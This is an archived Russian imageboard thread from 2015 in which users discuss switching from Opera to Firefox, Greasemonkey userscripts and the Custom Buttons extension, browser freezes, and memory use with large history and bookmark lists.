Последнее: после активного использования, начинаются постоянные мелкие фризы каждую секунду или две, лечатся только рестартом.
Короче, вроде таки собрался перейти на Мозиллу.
Версия 37 Бета 7 кажется нормальной.
86 Кб, 872x336
149 Кб, 870x370
>>1190686
Да, тут моя слабость. Я не читал документацию GM. НО! Ведь этот скрипт должен навесить исключения на <textarea> и <input> и их возможное добавление... Ну в общем можно запилить, наверное, но не слишком тривиально. Пикрилейтед_1 полегче - всё уже за меня написали.
Я ведь уже писал - сам определяешь, что исполняется по кнопке. Если не переопределяешь, всё работает как и раньше.
Если знаком с JavaScript - это вообще рай. Ещё где-то есть обсуждения с немалым количеством кусков кода. И ещё на mozilla-russia есть отдельный тред, правда для другого расширения - Custom Buttons, но суть там та же - выполнять код по нажатию на кнопку. Можно либо самому писать, либо брать оттуда либо меня спросить. Ссылки могу предоставить, но обычно нужно что-то простое вроде пикрилейтед_2.
Обычно, если нужно по хоткею последовательно выполнять некоторые действия, которые может выполнить юзер нажатием кнопок - это легко запилить, могу за 5 минут.
Это на опере что ли? Наверное, нужно как-то попердолить, но я по ней не спец. Вообще, старая опера - мой первый браузер, я перешёл на FF ради эксперимента, и - понравилось.
А не пробовал их ещё и ВЫДЕЛИТЬ? Ну в ФФ, если выделить все элементы истории (у меня 90к), тормозит знатно. Памяти сжирает +400 Мб примерно. Но через полминуты можно даже листать этот список. С закладками такого нет - только что открыл все свои 2.5к. Это слишком мало. Но если удалять из библиотеки >1к элементов - тормозит, да. Можно пойти выпить чайку́.
> @run-at document-start
Да, тут моя слабость. Я не читал документацию GM. НО! Ведь этот скрипт должен навесить исключения на <textarea> и <input> и их возможное добавление... Ну в общем можно запилить, наверное, но не слишком тривиально. Пикрилейтед_1 полегче - всё уже за меня написали.
> хардкод ебаный же
Я ведь уже писал - сам определяешь, что исполняется по кнопке. Если не переопределяешь, всё работает как и раньше.
Если знаком с JavaScript - это вообще рай. Ещё где-то есть обсуждения с немалым количеством кусков кода. И ещё на mozilla-russia есть отдельный тред, правда для другого расширения - Custom Buttons, но суть там та же - выполнять код по нажатию на кнопку. Можно либо самому писать, либо брать оттуда либо меня спросить. Ссылки могу предоставить, но обычно нужно что-то простое вроде пикрилейтед_2.
Обычно, если нужно по хоткею последовательно выполнять некоторые действия, которые может выполнить юзер нажатием кнопок - это легко запилить, могу за 5 минут.
> постоянные мелкие фризы
Это на опере что ли? Наверное, нужно как-то попердолить, но я по ней не спец. Вообще, старая опера - мой первый браузер, я перешёл на FF ради эксперимента, и - понравилось.
> Больше полгига вроде не растет уже
А не пробовал их ещё и ВЫДЕЛИТЬ? Ну в ФФ, если выделить все элементы истории (у меня 90к), тормозит знатно. Памяти сжирает +400 Мб примерно. Но через полминуты можно даже листать этот список. С закладками такого нет - только что открыл все свои 2.5к. Это слишком мало. Но если удалять из библиотеки >1к элементов - тормозит, да. Можно пойти выпить чайку́.
Тред утонул или удален.
Это копия, сохраненная 24 марта 2015 года.
Скачать тред: только с превью, с превью и прикрепленными файлами.
Второй вариант может долго скачиваться. Файлы будут только в живых или недавно утонувших тредах. Подробнее
Если вам полезен архив М.Двача, пожертвуйте на оплату сервера.
Это копия, сохраненная 24 марта 2015 года.
Скачать тред: только с превью, с превью и прикрепленными файлами.
Второй вариант может долго скачиваться. Файлы будут только в живых или недавно утонувших тредах. Подробнее
Если вам полезен архив М.Двача, пожертвуйте на оплату сервера.